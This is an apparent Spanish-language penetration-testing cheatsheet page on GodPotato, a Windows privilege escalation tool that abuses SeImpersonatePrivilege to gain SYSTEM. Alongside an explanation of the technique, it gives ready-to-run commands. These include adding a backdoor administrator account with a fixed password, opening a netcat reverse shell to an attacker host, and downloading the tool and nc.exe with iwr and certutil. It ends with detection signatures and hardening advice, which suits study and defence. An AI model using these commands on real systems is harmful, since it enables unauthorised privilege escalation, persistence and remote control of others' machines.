the_open_door
café
ESEN
← Volver al índice

GodPotato

ATT&CKT1134.001
Arsenal completo de comandos en la cheatsheet

GodPotato es una de las variantes modernas de la familia Potato para escalar a SYSTEM desde una cuenta de servicio que tenga SeImpersonatePrivilege (abuso de SeImpersonate). Su valor está en que funciona donde JuicyPotato ya no: en Windows 10 / Server 2019 y posteriores, Microsoft cambió el broker DCOM y rompió el vector clásico de JuicyPotato, pero GodPotato vuelve a abusar del mismo flujo a través de RPC/DCOM usando un objeto que sigue activándose como SYSTEM.

La mecánica es la habitual de los Potato: fuerza a un servicio privilegiado a autenticarse contra un endpoint que controla el atacante, captura su token con ImpersonateNamedPipeClient() y, gracias a SeImpersonatePrivilege, lanza un proceso con ese token (CreateProcessAsUser).

whoami /priv                                        # confirmar SeImpersonatePrivilege = Enabled
.\GodPotato-NET4.exe -cmd "cmd /c whoami"            # comprobar ejecucion como SYSTEM
.\GodPotato-NET4.exe -cmd "cmd /c net user pwn Passw0rd123! /add && net localgroup Administrators pwn /add"
.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <lhost> <lport> -e cmd.exe"   # reverse shell

Descargar el binario y un nc.exe al objetivo:

iwr http://<lhost>/GodPotato-NET4.exe -OutFile C:\Windows\Temp\GodPotato-NET4.exe
iwr http://<lhost>/nc.exe -OutFile C:\Windows\Temp\nc.exe
certutil -urlcache -f http://<lhost>/GodPotato-NET4.exe C:\Windows\Temp\god.exe

Atención a la build. GodPotato depende del .NET Framework instalado y se distribuye en variantes (GodPotato-NET2, -NET35, -NET4). Hay que elegir la que case con la versión presente, que se consulta en el registro:

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse

Matiz. No es universal: requiere el privilegio y que el servicio RPC/DCOM objetivo esté disponible; en configuraciones muy restringidas o con el vector parcheado puede fallar, momento en el que se prueban otras variantes (PrintSpoofer, RoguePotato).

Cómo detectarlo. La firma común de la familia: un hijo como NT AUTHORITY\SYSTEM colgando de una cuenta de servicio (4688/Sysmon 1) sin login interactivo previo. GodPotato deja además actividad RPC/DCOM contra el broker (activación de un objeto que corre como SYSTEM) y el binario GodPotato-NET*.exe recién soltado, que EDR/AV marcan. Ver SeImpersonate y potatoes para la detección común.

Defensa. Minimizar las cuentas de servicio con SeImpersonatePrivilege, mantener el sistema parcheado y aislar los servicios expuestos para que una ejecución de código no recaiga en una cuenta con este privilegio. Conceptualmente equivale al abuso de SUID en Linux.

Máquinas donde se aplica